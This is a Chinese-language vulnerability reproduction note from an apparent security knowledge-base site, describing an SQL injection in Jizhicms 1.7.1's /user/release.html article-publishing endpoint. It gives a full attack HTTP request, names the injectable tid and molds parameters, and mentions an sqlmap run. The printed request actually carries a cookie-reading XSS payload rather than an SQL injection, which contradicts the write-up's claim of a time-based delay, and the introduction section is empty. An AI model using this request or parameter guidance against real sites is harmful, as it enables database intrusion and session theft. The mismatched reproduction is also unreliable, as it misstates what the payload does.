menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right 166-Jizhicms chevron_right 006-Jizhicms 1.7.1 ._user_release.html sql注入漏洞.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    006-Jizhicms 1.7.1 ._user_release.html sql注入漏洞.md
    2.34 KB / 2021-07-17 00:01:28
        # Jizhicms 1.7.1 ./user/release.html sql注入漏洞
    
    ## 一、漏洞简介
    
    ## 二、漏洞影响
    
    Jizhicms 1.7.1
    
    ## 三、复现过程
    
    同样还是在发表文章这
    
    ```bash
    POST /user/release.html HTTP/1.1
    Host: www.baidu.com:8091
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
    Accept: application/json, text/javascript, */*; q=0.01
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Content-Length: 153
    Origin: http://www.baidu.com:8091
    Connection: close
    Referer: http://www.baidu.com:8091/user/release/molds/article.html
    Cookie: PHPSESSID=84mcpgsvrgnfag0fnl3ngjm2eo; XDEBUG_SESSION=PHPSTORM
    
    ajax=1&isshow=&molds=article&tid=2&title=%3Cdetails+open+ontoggle%3D+confirm(document%5B%60coo%60%2B%60kie%60%5D)%3E&keywords=123&litpic=&description=123
    
    ```
    
    ![1.png](images/2020_06_13/b892e0d3e243496cafd5083f8fc657e9.png)
    
    ![2.png](images/2020_06_13/e0e02f9f27974833b23c09d419710217.png)
    
    可以看到有明显的时间延迟,存在基于时间的延迟注入
    
    为了直观的展示是否进行了拼接sql语句的操作,监控下sql语句的执行,在mysql监控工具中可以看到没有任何过滤就进行了sql语句的拼接,触发了sql注入漏洞
    
    ![3.png](images/2020_06_13/f66b729c24304b34a740619564510c2d.png)
    
    定位到漏洞函数release函数,重点关注下sql语句的拼接问题,一共有两处进行了sql的拼接,只要在进行拼接前没有进行过滤就会存在sql注入漏洞
    
    ![4.png](images/2020_06_13/8d130f52249249d1a26e1b274b78bdf7.png)
    
    其中$this->classtypedata对应的是数据库中的classtype表中的数据
    
    ![5.png](images/2020_06_13/72f23184a1684c87845a302c2c4ec557.png)
    
    然后跟进到get_fields_data函数,根据xdebug调试代码的运行情况,发现fields为空,所以会直接返回data,其中并没有进行任何过滤
    
    ![6.png](images/2020_06_13/55b59de638fa47dea5b8955869d77e5f.png)
    
    在release函数函数中只是要求$w['tid']!=0即可,所以我们可以在tid参数和molds参数处构造sql注入语句
    
    ![7.png](images/2020_06_13/8017e22927bd4b36b3372a9401a77f19.png)
    
    用slmap跑的结果
    
    ![8.png](images/2020_06_13/68fa7ebd2b26407f937f130541859cea.png)
    
    ## 参考链接
    
    > https://xz.aliyun.com/t/7861#toc-2
    
    
    links
    file_download